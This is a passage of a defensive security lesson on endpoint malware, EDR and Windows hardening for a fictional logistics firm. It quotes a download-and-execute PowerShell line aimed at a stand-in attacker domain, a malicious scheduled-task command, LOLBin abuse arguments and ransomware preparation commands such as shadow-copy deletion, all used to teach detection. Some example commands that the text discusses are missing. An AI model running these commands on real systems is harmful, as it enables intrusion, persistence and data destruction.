We ended the previous lesson with an uncomfortable image: Rutalia's 140 machines no longer give the game away — no local administrator, macros blocked, LAPS in place and process creation logging switched on — but the .xlsm still lands in the inbox. Hardening reduces what the attacker can use; it says nothing about what the attacker brings with them. This lesson is about that.
The endpoint is today's battlefield for a structural reason: it is the only point in the architecture where a person who can be deceived, data in the clear and an operating system capable of executing code all coincide. The firewall cannot see inside TLS. The IDS cannot see what happens in a process's memory. Segmentation does not stop Word from opening a file. Everything we have built in the previous modules ultimately rests on the user's machine not running something it should not.
We are going to open modern malware up — how it gets in, how it executes, how it persists, how it hides and what ransomware does before it encrypts anything —, compare honestly what each layer of defence adds from free antivirus up to a managed service, read a real malicious process tree from Rutalia and translate it into ATT&CK techniques, and build the protection of the whole estate: the 140 workstations, the 60 fleet tablets and the day one of them is left at a service area on the A-2.
- Why the endpoint concentrates the risk
Four reasons, and it is worth being clear about them because they justify the budget:
- It is where the person is. Every technical control in the world comes up against a user who wants to open the file called Tarifas_Combustible_2026_Rev3. Social engineering cannot be patched (it is worked on in 08-03).
- It is where the data is in the clear. Encryption in transit and at rest protects data on the way and on the disk; the moment the user looks at it, it is decrypted in memory.
- It is where the credentials live. As we saw in 04-01, a user's authentication material sits in the memory of their own machine.
- It is the starting point of lateral movement. In the scenario in 01-04, the attacker went from an office workstation to
fs01and from there to everything else. They never touched the perimeter again after the first day.
Rutalia's starting point is bad, and it is worth saying so without decoration:
| Current situation | Consequence |
|---|---|
| Free antivirus, three different products depending on who built the machine | There is no common policy and no visibility |
| No central console | Nobody knows how many machines have an up-to-date engine, or whether any of them has the antivirus disabled |
| Signature-based detection only | A new variant goes through without a sound |
| No centralised logging of executions | After the incident, there is no way to reconstruct what was run |
| No removable device control | A USB stick from a service area is an open vector |
| 60 unmanaged Android tablets | Encryption, PIN and remote wipe cannot be enforced |
That last row and the first one are what Laura Méndez takes to the committee on 12 January 2027.
- Anatomy of a modern infection: the five stages
Modern malware is almost never a single file that does everything. It is a chain, and understanding it matters because each link is a different opportunity to cut.
flowchart LR
A["1. Delivery<br/>email, web, USB"] --> B["2. Execution<br/>macro, script, exploit"]
B --> C["3. Download<br/>the loader brings the payload"]
C --> D["4. Persistence<br/>surviving a reboot"]
D --> E["5. Objective<br/>theft, encryption, access"]
B -.->|"macro blocking"| X1["CUT"]
C -.->|"DNS / proxy / firewall"| X2["CUT"]
D -.->|"EDR + local admin removed"| X3["CUT"]
E -.->|"segmentation + backups"| X4["CUT"]
Applied to Rutalia's canonical scenario, stage by stage:
| Stage | What happened | The control that would have cut it | Did it exist? |
|---|---|---|---|
| Delivery | Email from rutalia-proveedores.example, a domain registered 12 days earlier |
Email filtering + DMARC + external domain warning | Partly; DMARC arrived in 03-02 |
| Execution | The traffic manager clicks Enable content on Tarifas_Combustible_2026_Rev3.xlsm |
Blocking macros from the internet | No; done in 04-01 |
| Download | The macro launches an encoded powershell.exe, which downloads the loader |
ASR, allow-listing, egress filtering | No |
| Persistence | Scheduled task OfficeTelemetryAgent, beaconing every 60 s |
EDR, local admin removal | No |
| Objective | 380 GB exfiltrated in 4 days, encryption, a €180,000 ransom | Segmentation, DLP, offline backups | No |
The strategic lesson: there is no single point at which to cut, there are five. A defence that relies on only one of them fails the day that one gets it wrong. It is the defence in depth of 01-01 applied to a concrete case.
- Execution: how the first instruction is obtained
The attacker needs their code to run on the machine. The main routes, ordered by real frequency in Spanish SMEs:
| Route | How it works | Requires interaction | Main defence |
|---|---|---|---|
| Document with a macro | VBA in .xlsm, .docm; the user clicks Enable content |
Yes | Blocking macros from the internet |
| Attached or downloaded script | .js, .vbs, .hta, .lnk, .iso with a shortcut |
Yes | Disable WSH, block extensions in email |
| Trojanised installer | "Free" software downloaded from a search engine | Yes | Allow-listing, a software catalogue |
| Vulnerability exploitation | A flaw in the browser, PDF reader or email client | Sometimes not | Patching (section 21 of 04-01) |
| Stolen credentials + RDP/VPN | The attacker comes in as a legitimate user | No | MFA (02-03) |
| USB | Autorun, a malicious .lnk, a fake HID device |
Partly | Device control (section 18) |
| Supply chain | A compromised legitimate update | No | 06-04 |
Let us look at a real macro — simplified and defanged, with no working code — to understand the pattern. This is, in essence, what the file in the canonical scenario contained:
' Runs automatically when the workbook is opened: the user does not have to do
' anything beyond clicking "Enable content"
Private Sub Workbook_Open()
Dim cmd As String
' The real command is encoded so that it is invisible when inspecting the file
cmd = Decode("cG93ZXJzaGVsbCAtZW5jIC4uLg==")
' It is run through a system object, with no visible window
CreateObject("WScript.Shell").Run cmd, 0, False
End SubFour observations worth internalising:
Workbook_Open(orDocument_Open, orAutoOpen) is the automatic entry point. The user does not explicitly run anything: they merely enable macros.- The string is base64-encoded so that a superficial look at the file does not show
powershell. This is obfuscation, not encryption: it is undone in seconds, but it defeats string searches. WScript.Shell.Run cmd, 0, False: the0means a hidden window. The user sees a normal spreadsheet, perhaps with a message saying "protected document, please enable content".- None of this exploits any vulnerability. It is legitimate Office functionality, and that is why no patch will fix it. There is only policy.
Warning. This fragment is illustrative and deliberately incomplete. Analysing real malware requires an isolated lab (a virtual machine with no network and a snapshot taken beforehand) and should only be done on your own samples or with authorisation. You never run a sample on a machine connected to the corporate network.
- Persistence: how you survive a reboot
Code that only lives until the machine is rebooted is a minor problem. Persistence is what turns an infection into an intrusion. The most common techniques on Windows, all of them used by commodity malware:
| Mechanism | Where it is placed | Level | ATT&CK |
|---|---|---|---|
| Run keys | HKCU\...\CurrentVersion\Run and its HKLM equivalent |
User / System | T1547.001 |
| Scheduled task | Task Scheduler | User / System | T1053.005 |
| Service | Windows services | System (requires admin) | T1543.003 |
| Startup folder | %APPDATA%\...\Startup |
User | T1547.001 |
| WMI subscription | The WMI repository | System | T1546.003 |
| DLL hijacking | A DLL with the expected name in the search path | It depends | T1574.001 |
| COM hijacking | A registry key for a CLSID | User | T1546.015 |
In the canonical scenario, persistence was a scheduled task called OfficeTelemetryAgent. The name is no accident: it sounds like a legitimate Microsoft Office component, it appears among dozens of real tasks and no administrator glancing at it stops to look twice. This is masquerading (T1036).
This is how it would look on the machine:
Get-ScheduledTask -TaskName "OfficeTelemetryAgent" | Get-ScheduledTaskInfo
Get-ScheduledTask -TaskName "OfficeTelemetryAgent" |
Select-Object -ExpandProperty ActionsExecute : C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Arguments : -NoP -W Hidden -Ep Bypass -E JABjAGwAaQBlAG4AdAAgAD0AIA... WorkingDirectory :
Reading the arguments, which are a catalogue of alarm signals:
-NoP(-NoProfile): it does not load the user's profile, which might contain logging or aliases that get in the way.-W Hidden(-WindowStyle Hidden): no window. An administrator will see nothing when logging in.-Ep Bypass(-ExecutionPolicy Bypass): it ignores the script execution policy. It is worth understanding this properly: PowerShell's execution policy was never a security control, it is a protection against accidental execution, and it is bypassed with a parameter.-E(-EncodedCommand): the command is in UTF-16LE base64. It is the most reliable of the five signals. Legitimate administrative PowerShell is rarely encoded this way.
And the Linux equivalent, because srv-web01 can suffer it too:
| Mechanism | Where |
|---|---|
The user's cron |
crontab -l, /var/spool/cron/crontabs/ |
A systemd unit |
/etc/systemd/system/, ~/.config/systemd/user/ |
A systemd timer |
*.timer, more discreet than cron |
| A shell profile | ~/.bashrc, ~/.profile |
| An added SSH key | ~/.ssh/authorized_keys (like msoria's in 04-01) |
LD_PRELOAD |
/etc/ld.so.preload |
- Evasion: obfuscation, packing and signing
Modern malware does not try to look benign to a human: it tries not to match any signature and not to behave like malware while it is being watched.
| Technique | What it does | What it works against | What it does not work against |
|---|---|---|---|
| Obfuscation | Encodes strings and names (base64, XOR, concatenation) | String searches, simple signatures | Behavioural analysis |
| Packing | Compresses/encrypts the executable; it unpacks in memory at start-up | File signatures on disk | Memory inspection, EDR |
| Polymorphism | Every copy has a different hash | Known hash lists | Behaviour |
| Signing with a stolen or bought certificate | The binary appears signed and "trusted" | Trust in the signature, some allow-lists | WDAC with specific publisher rules |
| Anti-VM / anti-sandbox | Detects an analysis environment and does nothing | Automatic sandboxes | Detonation in a realistic environment |
| Delayed execution | Waits hours or days before acting | A sandbox with a time limit | Continuous telemetry |
| Disabling defences | Stops the antivirus, deletes logs, installs a vulnerable driver | Antivirus without self-protection | EDR with tamper protection |
| Living-off-the-land | Uses legitimate system binaries | Everything based on "the malicious file" | Command line and relationship analysis |
The last two rows are the important ones and deserve a section of their own. The eighth is also the one that makes Rutalia's defence obsolete: if the attacker brings no file, an antivirus that only scans files has nothing to scan.
- Living-off-the-land: attacking with the tools of the house
Living off the land (LotL) means using legitimate programs, signed by Microsoft and present on any Windows machine, to do the malware's job. The binaries used for this are called LOLBins.
| Binary | Legitimate use | Abuse | Alarm signal |
|---|---|---|---|
powershell.exe |
Administration | Download, in-memory execution, encryption | -enc, -w hidden, IEX, DownloadString |
certutil.exe |
Certificate management | Downloading files and decoding base64 | -urlcache, -decode |
rundll32.exe |
Running DLL functions | Running arbitrary code | A DLL outside System32, javascript: |
mshta.exe |
HTA applications | Running a remote script | A URL as an argument |
regsvr32.exe |
Registering DLLs | Remote execution of scriptlets | /i:http, scrobj.dll |
wmic.exe |
WMI queries | Remote execution, reconnaissance | process call create, /node: |
bitsadmin.exe |
Background transfers | Persistent downloading | /transfer |
msiexec.exe |
Installation | Installing a remote MSI | /q with a URL |
curl.exe |
Transfers | Downloading a payload | On an office workstation, suspicious in itself |
Concrete examples of the pattern, in the form in which they will appear in event 4688 if you have applied policy 8 of 04-01:
-urlcache -split -f: downloads a URL and saves it.certutilis a certificate tool; it has no legitimate reason to download from an arbitrary HTTP server on an office workstation.- The destination,
C:\Users\Public\, is writable by anybody and barely watched. - The
.datextension at the source and.dllat the destination evades extension filtering on the proxy.
- It runs the exported function
Startfrom the downloaded DLL.rundll32is signed by Microsoft; for a signature-based antivirus, there is nothing to detect.
- It creates a process on another machine. It is pure lateral movement, using a standard administrative tool.
10.10.4.77isPC-EXEMP-MSORIA, the former employee's machine that is still on the network.
The operational conclusion: defence against LotL cannot be based on the file, because the file is legitimate and signed by Microsoft. It has to be based on:
- The command line (hence the importance of 4688 with the command line).
- The parent-child relationship (why is Excel launching PowerShell?).
- The context (why is an administration workstation running
wmic /node:?).
That is exactly what an EDR does and what a signature-based antivirus cannot do.
- Fileless malware and in-memory execution
Fileless malware takes evasion to its limit: it writes nothing to disk, or only writes data that is not executable.
The main variants:
- Pure in-memory execution: PowerShell downloads a .NET assembly and loads it reflectively, without touching the disk. The code lives in the memory space of
powershell.exe, a signed process. - Storage in the registry: the payload is stored encoded in a Windows registry key and a small script reads it and runs it. The registry is not scanned by file antivirus.
- Process injection: the code is injected into a legitimate running process (
explorer.exe,svchost.exe) using techniques such as process hollowing. The process list looks normal. - WMI subscriptions: the persistence and the payload live in the WMI repository, with no associated file at all.
The direct consequence: a scheduled antivirus scan of the disk, however complete, will find nothing. At Rutalia a full scan of the compromised machine was run eighteen days into the canonical scenario and came back clean. That "clean" delayed detection by another week.
What does detect this kind of threat:
| Signal | Where it is seen |
|---|---|
PowerShell with -enc launched by Office |
Event 4688, EDR telemetry |
| Suspicious script blocks | Event 4104 (script block logging, enabled in 04-01) |
| An outbound connection from a process that should not have one | EDR, Suricata (sec-sensor01) |
| A process's memory with anonymous executable regions | EDR with memory inspection |
| A regular heartbeat to the same destination | Rules SID 1000001-1000005 of 03-03 |
- Malware families: what each one is after
It is worth having the map, because the response changes depending on what you are dealing with:
| Family | Objective | Characteristic signal | Response priority |
|---|---|---|---|
| Loader / dropper | To bring something else | Downloads and runs; short-lived | High: it is the prelude to everything |
| Information stealer (infostealer) | Browser passwords, cookies, wallets | Mass reading of browser profiles, a single large egress | Very high: the credentials are already out |
| Remote access trojan (RAT) | Interactive control | Beaconing, long sessions | Very high |
| Ransomware | Extortion | See section 9 | Maximum |
| Cryptominer | Making money with CPU | Sustained CPU usage, connections to pools | Medium: annoying, but it indicates a breach |
| Backdoor | Persistent access | An unknown service or task | Very high |
| Wiper | Destruction | Mass writing, no ransom | Maximum |
| Adware / PUP | Advertising | Extensions, toolbars | Low, but it indicates bad practice |
One nuance Laura repeats in training sessions: a cryptominer you have detected is not "a minor performance problem"; it is proof that somebody was able to run arbitrary code on that machine. What mines cryptocurrency today encrypts tomorrow.
- Ransomware from the endpoint's point of view: what happens before the encryption
The encryption is the end, not the beginning. By the time the ransom note appears, the attacker has been inside for days or weeks and, in a double extortion attack like hypothesis H1, the data is already out. Recovery, backups and the decision whether to pay are covered in 05-05; what matters here is the sequence of actions on the endpoint, because each one is a detection opportunity that Rutalia does not have today.
flowchart TD
A["Initial access<br/>macro / credentials"] --> B["Reconnaissance<br/>net view, nltest, AdFind"]
B --> C["Credential theft<br/>lsass dump"]
C --> D["Lateral movement<br/>SMB, WMI, RDP"]
D --> E["Exfiltration<br/>380 GB in 4 days"]
E --> F["Preparing the encryption"]
F --> F1["Delete shadow copies<br/>vssadmin delete shadows"]
F --> F2["Stop services<br/>SQL, Exchange, backups"]
F --> F3["Disable defences<br/>and delete logs"]
F --> F4["Spread the binary<br/>by GPO or PsExec"]
F1 --> G["ENCRYPTION<br/>simultaneous across the estate"]
F2 --> G
F3 --> G
F4 --> G
style E fill:#ffe0cc
style G fill:#ffcccc
The preparation actions, with the typical command and what gives them away:
| Action | Characteristic command | Why it is done | Detection |
|---|---|---|---|
| Deleting volume shadow copies | vssadmin delete shadows /all /quiet |
To prevent local recovery | An extremely high-value detection: it is almost never legitimate |
| Disabling recovery | bcdedit /set recoveryenabled no |
To prevent repair boot | Just as reliable |
| Emptying the recycle bin and restore points | wbadmin delete catalog -quiet |
The same | The same |
| Stopping services | net stop "MSSQLSERVER" and dozens more |
To release locked files so that they can be encrypted | Mass stopping of services within minutes |
| Disabling the antivirus | Tampering with the service, installing a vulnerable driver | To avoid being blocked | The EDR's tamper protection |
| Deleting event logs | wevtutil cl Security |
To hinder the investigation | Event 1102 (log cleared) |
| Spreading | PsExec, GPO, logon script | To encrypt everything at once | Simultaneous execution on many machines |
If you had to create one single detection rule for your organisation and could create no other, it would be this one:
CRITICAL, immediate alert: execution of vssadmin/wmic/wbadmin with shadow copy deletion arguments, on any machine, at any hour. Automatic isolation of the machine.
It has practically no false positives and detecting it early is the difference between losing a machine and losing the company. The window between this action and the encryption is usually measured in minutes.
One important nuance about file shares: ransomware running on jlopez's machine encrypts \\fs01\comun with jlopez's permissions. This turns the RBAC matrix of 02-02 into an anti-ransomware control: if customer service has no write permission on the accounting folder, neither does the ransomware.
- Layers of defence: from signatures to MDR
Here is the comparison Rutalia needs in order to decide. The acronyms are thrown around very loosely in the market, so it is worth pinning down what each one means:
| Technology | How it decides | Detects the unknown | Responds | Requires staff | Indicative cost/machine/year |
|---|---|---|---|---|---|
| Signature antivirus | Hashes and patterns of known files | No | Deletes/quarantines | None | €0-15 |
| + Heuristics and emulation | Static rules and simulated execution | Partly | The same | None | Included |
| NGAV | Machine learning models over attributes and behaviour | Yes, reasonably | Blocks the process | Low | €20-40 |
| EDR | NGAV + continuous telemetry, correlation and hunting | Yes | Blocks, isolates, rolls back, allows investigation | Medium-high: somebody has to look | €35-70 |
| XDR | EDR + correlation with email, identity, network and cloud | Yes, with more context | The same, with actions across several layers | High | €60-120 |
| MDR | EDR/XDR operated by a third party 24/7 | Yes | The provider investigates and contains | Low: that is what you are buying | €80-180 |
How to read this table for an SME of 180 people with an IT team of 10 and one person on security part time:
- An EDR with nobody watching it is money badly spent. It generates alerts nobody triages. It is the most common mistake in the segment.
- The jump that adds most value for Rutalia is not EDR→XDR, but heterogeneous free antivirus → NGAV/EDR with a single console. That step solves detection, visibility and configuration control all at once.
- MDR is the honest option when there is no 24/7 security team, and at Rutalia there is not: the attack in the canonical scenario ran its final phase over a weekend. An EDR would have alerted; nobody would have read it until Monday.
The recommendation Laura takes to the committee, with numbers:
| Option | Annual cost (140 workstations + 12 servers) | What it covers | Verdict |
|---|---|---|---|
| Carry on as we are | €0 | Nothing | Unacceptable |
| NGAV with a single console | ~€5,500 | Prevention and visibility, no investigation | The minimum viable |
| EDR + managed MDR | ~€16,000 | Detection, 24/7 response, investigation | Recommended |
| Full XDR | ~€28,000 | All of the above + email, identity and cloud correlated | Phase 2, next year |
Compared with the cost of the canonical scenario — a €180,000 ransom, plus the outage at €1,500/hour — the argument defends itself. The formal construction of that argument is done in 08-02.
- How an EDR works on the inside
An EDR (Endpoint Detection and Response) has three parts: an agent that collects telemetry, an engine that analyses it and a console from which you investigate and act.
What telemetry the agent collects, through hooks in the kernel and the operating system's event interfaces:
| Category | Examples |
|---|---|
| Processes | Creation, termination, command line, parent process, hash, signature |
| Files | Creation, modification, deletion, mass writes |
| Registry | Creation and modification of persistence keys |
| Network | Outbound connections with the associated process, DNS resolution |
| Authentication | Logons, credential use |
| Memory | Injections, anonymous executable regions |
| Scripts | The content of PowerShell blocks after deobfuscation (AMSI) |
The most valuable piece, and the one that distinguishes an EDR from everything before it, is the parent process. An antivirus sees powershell.exe. An EDR sees WINWORD.EXE → powershell.exe, which is a completely different sentence.
How it detects: by combining four methods, not one.
flowchart TD
T["Agent telemetry"] --> F["Signatures and<br/>known indicators"]
T --> M["Machine learning<br/>models"]
T --> C["Behavioural rules<br/>(parent-child, sequences)"]
T --> A["Anomaly detection<br/>/ baseline"]
F --> D{"Aggregated<br/>score"}
M --> D
C --> D
A --> D
D -->|"high"| B["Block + alert"]
D -->|"medium"| AL["Alert for triage"]
D -->|"low"| L["Telemetry only<br/>available for hunting"]
That last branch matters more than it seems: an EDR keeps telemetry even when it does not alert. When a new indicator appears three months from now, you will be able to search backwards. That is what lets you answer "were we affected?" without guessing.
What it can do:
| Action | What it means | When it is used |
|---|---|---|
| Block a process | Kills the process and prevents it running in future | High-confidence detection |
| Isolate the machine | The machine loses the network except for the EDR console | Immediate containment; see section 14 |
| Quarantine | Moves the file to an encrypted store | Malicious files |
| Roll back | Undoes changes (encrypted files, registry keys) using local copies | Ransomware detected late; partial and not 100% reliable |
| Remote shell | Running investigation commands | Live analysis |
| Collect a forensic package | A dump of artefacts | The entry point to 05-02 |
A warning about rollback: it is a real and useful feature, but it is not a backup. It works with whatever the agent managed to save before the change, it has size and time limits, and ransomware that ran for hours undetected is not rolled back. The backup remains the recovery control, and it is covered in 05-05.
- Reading a malicious process tree from Rutalia
This is the practical core of the lesson. The EDR console shows this tree on the traffic manager's machine, 10.10.4.15, on day 2 of the canonical scenario at 09:14:
explorer.exe (PID 3120) - User: RUTALIA\mruiz-jt - signed by Microsoft
+- OUTLOOK.EXE (PID 4488) - signed by Microsoft
+- EXCEL.EXE (PID 5012) - signed by Microsoft
| Command line: "C:\...\EXCEL.EXE" /dde
| File opened: C:\Users\mruiz-jt\AppData\Local\Temp\
| Tarifas_Combustible_2026_Rev3.xlsm [MOTW: Internet]
+- powershell.exe (PID 5240) - signed by Microsoft
| Command line:
| powershell.exe -NoP -W Hidden -Ep Bypass -E JABjAGwAaQBlAG4AdAA...
| Decoded (AMSI):
| $c = New-Object Net.WebClient
| $c.Headers.Add('User-Agent','Mozilla/5.0')
| IEX $c.DownloadString('http://rutalia-proveedores.example/u.txt')
+- [NETWORK] 192.0.2.66:443 - TLS - SNI: rutalia-proveedores.example
+- [FILE] C:\Users\Public\OfficeTelemetry\agent.dat (created)
+- schtasks.exe (PID 5396) - signed by Microsoft
| Command line:
| schtasks /create /tn "OfficeTelemetryAgent" /sc minute /mo 1
| /tr "powershell -w hidden -ep bypass -f C:\Users\Public\
| OfficeTelemetry\agent.dat" /f
+- [REGISTRY] HKLM\...\Schedule\TaskCache\Tree\OfficeTelemetryAgentRead it from top to bottom, node by node. Every line has something to say:
explorer.exe→OUTLOOK.EXE: normal. The user opened their email.OUTLOOK.EXE→EXCEL.EXE: apparently normal, but it is already information: the file came from the email. That single fact narrows down the origin of the incident and lets you find out who else it was sent to.- The file carries
MOTW: Internet: the Mark of the Web is present. With the policy blocking macros from the internet from 04-01, this tree would have stopped here. Everything that follows would never have existed. EXCEL.EXE→powershell.exe: this is the definitive anomaly. A spreadsheet has no legitimate reason to launch a command interpreter. It is a high-confidence, extremely low-noise detection rule, and it is available in any EDR and also as an ASR rule (section 16).- The PowerShell arguments:
-NoP -W Hidden -Ep Bypass -E. The four indicators from section 4, together. - The command decoded by AMSI:
IEX $c.DownloadString(...).IEXisInvoke-Expression: it executes the downloaded string as code. Nothing touches the disk in this step: it is pure in-memory execution (section 7). Note as well the forgedUser-Agent, designed to look like a browser. - The connection to
192.0.2.66:443with SNIrutalia-proveedores.example: a domain registered 12 days earlier. Neither the domain nor the IP has any connection with a real Rutalia supplier. - The creation of
agent.datinC:\Users\Public\: an extension that gives nothing away about its contents, in a directory writable by everybody. powershell.exe→schtasks.exe: the persistence./sc minute /mo 1means every minute; the 60-second beaconing interval observed by Suricata in 03-03 comes from here./fforces creation without asking.- The name
OfficeTelemetryAgent: deliberate impersonation of a legitimate component.
Mapping to MITRE ATT&CK, which is how this is documented so that any analyst understands it:
| Step | Technique | ID |
|---|---|---|
| Email with a malicious attachment | Phishing: Spearphishing Attachment | T1566.001 |
| The user enables the macro | User Execution: Malicious File | T1204.002 |
| Execution via PowerShell | Command and Scripting Interpreter: PowerShell | T1059.001 |
| Base64-encoded command | Obfuscated Files or Information | T1027 |
| Download of the payload | Ingress Tool Transfer | T1105 |
In-memory execution with IEX |
Reflective Code Loading | T1620 |
| Scheduled task for persistence | Scheduled Task/Job: Scheduled Task | T1053.005 |
| A name that imitates a legitimate component | Masquerading: Match Legitimate Name | T1036.005 |
| Encrypted heartbeat every 60 s | Application Layer Protocol: Web Protocols | T1071.001 |
This exercise — translating a process tree into TXXXX identifiers — is exactly what was asked for in 01-04, and now it has real data underneath it. It serves three purposes: communicating unambiguously with an incident response provider, checking which techniques your defence covers and prioritising what comes next.
And the question that closes the analysis: how many controls would have cut this tree?
| Control | Where does it cut? |
|---|---|
| Blocking macros from the internet | Step 3 - the tree gets no further than Excel |
| ASR rule "Office cannot create child processes" | Step 4 |
| Removal of local administrator | Limits step 9 to user persistence, which is more visible |
| Allow-listing (WDAC) | Step 6: agent.dat does not run |
| Egress filtering by category/reputation | Step 7 |
| Suricata beaconing rule (SID 1000002) | Step 10, 13 days late |
| EDR with a parent-child rule | Step 4, in real time |
Six of the seven did not exist on day 2. That is the project of this lesson.
- False positives, noise and the cost of a badly tuned detection
A defence that alerts on everything is equivalent to one that alerts on nothing, because nobody looks at it. The figures you have to know:
| Concept | Definition | Cost |
|---|---|---|
| False positive | Something benign is alerted on | Wasted time, loss of trust, legitimate work blocked |
| False negative | Something malicious is not alerted on | The incident |
| Alert fatigue | So many alerts that they are ignored | Turns false positives into false negatives |
Real examples of false positives Rutalia will hit in the first few weeks:
- Diego's overnight inventory script, written in PowerShell and launched by a scheduled task: it looks like persistence.
- The route planning application, an unsigned executable compiled in 2017: the NGAV will flag it.
- The workshop's truck diagnostic tool, which installs a driver.
- The traffic manager's signed macros.
- The tablets' connections to a little-known mapping service.
The right way to manage them, in this order:
- Investigate, do not exclude by reflex. Half of the "false positives" turn out to be things that genuinely should not be there (like the VNC in the exercise in 04-01).
- Fix the cause if you can: sign the internal executable with the PKI of 02-05, replace the script with a managed task.
- Tune the rule, do not disable it: scope it to one machine, one user or one specific path.
- Exclude only as a last resort, and with the cautions of section 22.
- Isolation, containment and rollback
Network isolation is probably the most valuable EDR feature in an SME. With one click, the machine loses all connectivity except to the EDR console: the malware cannot spread, exfiltrate or receive orders, but the analyst can carry on investigating on the machine.
Why it matters so much at Rutalia: the alternative, when there is no EDR, is to send somebody physically to unplug the cable. With three warehouses in Zaragoza, Valencia and Sevilla and trucks across half of Spain, "sending somebody" can mean four hours. In the canonical scenario, the four hours on the Saturday were 380 GB.
Decisions to be taken before you need it, and written down:
| Question | Rutalia's decision |
|---|---|
| Who can isolate a machine? | Laura, Diego and the MDR provider |
| Is it isolated automatically? | Yes, on a critical detection (ransomware, credential dumping, shadow copy deletion) |
| What if it is a director's machine? | It is too. An exception by seniority is exactly what an attacker is looking for |
| What is the user told? | An automatic on-screen message and a call from IT within 15 minutes |
| Which servers are not isolated automatically? | dc01/dc02 and srv-db01: maximum alert and a human decision, because of the availability impact |
| How is the isolation lifted? | Only after verification, with dual approval |
The last row of the table avoids the classic mistake: lifting the isolation because the user insists that they need to work.
The complete response process — who declares the incident, how it is classified, the chain of custody and the forensic analysis — is the subject of 05-02 and 05-03. What belongs to this lesson is having the technical capability and the decisions taken in advance.
- Preventive controls worth more than the antivirus
Here is the uncomfortable message of the lesson: if Rutalia could only do one thing this quarter, it would not be buying a better antivirus. It would be applying these controls, which are free or nearly free, and which would have cut the canonical scenario several times over.
| # | Control | Cost | Effect |
|---|---|---|---|
| 1 | Blocking macros in files from the internet | An afternoon | Cuts the entry vector |
| 2 | Defender ASR rules | A day | Cuts Office→child process, certutil, obfuscated scripts |
| 3 | Removal of local administrator | 6 weeks | Cuts system persistence and credential theft |
| 4 | Disabling Windows Script Host | An hour | Removes .vbs, .js, .wsf as a vector |
| 5 | Blocking dangerous extensions in email | An hour | .iso, .img, .lnk, .hta, .vhd |
| 6 | Egress DNS filtering with categories | A day | Cuts the download and the command and control |
| 7 | USB device control | Two days | Closes a physical vector |
| 8 | Logging of 4688 and 4104 | An hour | Without this, no investigation is possible |
The eight of them add up to less than two months of work and a few hundred euros. The comparison with the €180,000 ransom is the argument for the committee.
- Attack surface reduction (ASR) and the Mark of the Web
ASR rules are a set of behavioural controls included in Microsoft Defender, manageable by GPO or Intune, that do not depend on signatures. They are the best return per euro there is in a Windows environment.
The priority rules for Rutalia, with their identifiers:
| Rule | What it blocks | ID | Initial mode |
|---|---|---|---|
| Block Office applications from creating child processes | The Excel → PowerShell of section 12 | D4F940AB-401B-4EFC-AADC-AD5F3C50688A |
Audit → Block |
| Block executable content from the email client and webmail | Executable attachments | BE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550 |
Block straight away |
| Block Office from creating executable content | Writing .exe/.dll from Office |
3B576869-A4EC-4529-8536-B80A7769E899 |
Block straight away |
| Block execution of potentially obfuscated scripts | PowerShell with -enc and similar |
5BEB7EFE-FD9A-4556-801D-275E5FFC04CC |
Audit → Block |
| Block JavaScript/VBScript from launching downloaded executable content | Classic downloaders | D3E037E1-3EB8-44C8-A917-57927947596D |
Block straight away |
Block credential stealing from lsass.exe |
Credential dumping | 9E6C4E1F-7D60-472F-BA1A-A39EF669E4B2 |
Audit → Block |
| Block process creation from PsExec and WMI commands | Lateral movement | D1E49AAC-8F56-4280-B9BA-993A6D77406C |
Audit: it breaks IT tooling |
| Block untrusted processes from USB | Execution from removable media | B2B3F03D-6A65-4F7B-A9C7-1C7EF74A9BA4 |
Block straight away |
Deployment by GPO:
Computer Configuration -> Administrative Templates -> Windows Components ->
Microsoft Defender Antivirus -> Microsoft Defender Exploit Guard ->
Attack Surface Reduction
"Configure Attack Surface Reduction rules" -> Enabled
Value (name = rule ID, value = 1 block, 2 audit, 0 disabled):
D4F940AB-401B-4EFC-AADC-AD5F3C50688A = 2 (audit for 2 weeks)
BE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550 = 1
3B576869-A4EC-4529-8536-B80A7769E899 = 1
5BEB7EFE-FD9A-4556-801D-275E5FFC04CC = 2Always in audit mode first. You review what would have been blocked over two weeks and then move to blocking:
# What would have been blocked in audit mode, last 14 days
Get-WinEvent -LogName "Microsoft-Windows-Windows Defender/Operational" |
Where-Object { $_.Id -in 1121,1122 } | # 1121 blocked, 1122 audited
Select-Object TimeCreated, Id, Message |
Sort-Object TimeCreated -Descending | Select-Object -First 30The Mark of the Web (MOTW) deserves its own explanation, because several of these controls depend on it. When Windows downloads a file, it adds an alternate data stream called Zone.Identifier that says where it came from:
Get-Content "C:\Users\mruiz-jt\Downloads\Tarifas_Combustible_2026_Rev3.xlsm" `
-Stream Zone.Identifier[ZoneTransfer] ZoneId=3 ReferrerUrl=https://rutalia-proveedores.example/descargas/ HostUrl=https://rutalia-proveedores.example/descargas/tarifas.xlsm
ZoneId=3means "Internet". It is what triggers Office's protected view and macro blocking.ZoneId=4would be "restricted sites";ZoneId=2, "trusted sites";ZoneId=1, intranet.- The
ReferrerUrlandHostUrlfields are also first-class forensic evidence: they say exactly where the file came from.
And the reason attackers used .iso and .img containers for years: because they mount as a drive, the extracted files did not inherit the mark, and macros ran without being blocked. Windows fixed it, but the lesson stands: blocking in email the container formats the company does not use (.iso, .img, .vhd, .vhdx) is a one-hour control that closes off a whole family of evasions.
- Allow-listing: AppLocker and WDAC
The antivirus approach is "block the known bad". Allow-listing is the inverse and far stronger: only what is explicitly permitted runs. Everything else, including malware nobody has ever seen, does not start.
| AppLocker | WDAC (App Control for Business) | |
|---|---|---|
| Level | User mode | Kernel, harder to evade |
| Management | GPO, straightforward | Compiled XML policies, more complex |
| Scope | Per user/group | Per machine |
| Maturity for getting started | High: a good starting point | Medium: a project |
| Recommendation for Rutalia | Start here | Phase 2 on servers |
Sensible starting rules, which catch almost all malware without blocking anything legitimate:
- Allow everything in
C:\WindowsandC:\Program Files(except the subfolders writable by the user, which are the classic trap). - Allow by publisher anything signed by Microsoft and by the vendors of Rutalia's software.
- Block execution from
C:\Users\*,%TEMP%,C:\Users\Publicand removable drives.
Rule 3 on its own would have stopped agent.dat in C:\Users\Public\OfficeTelemetry\ from ever running.
The traps you have to know about before deploying it:
- Writable directories inside allowed paths:
C:\Windows\TempandC:\Windows\Tasksare writable by standard users in many configurations. AllowingC:\Windows\*wholesale leaves a known gap. There are published lists of these paths: they have to be excluded explicitly. - Scripts and interpreters: blocking
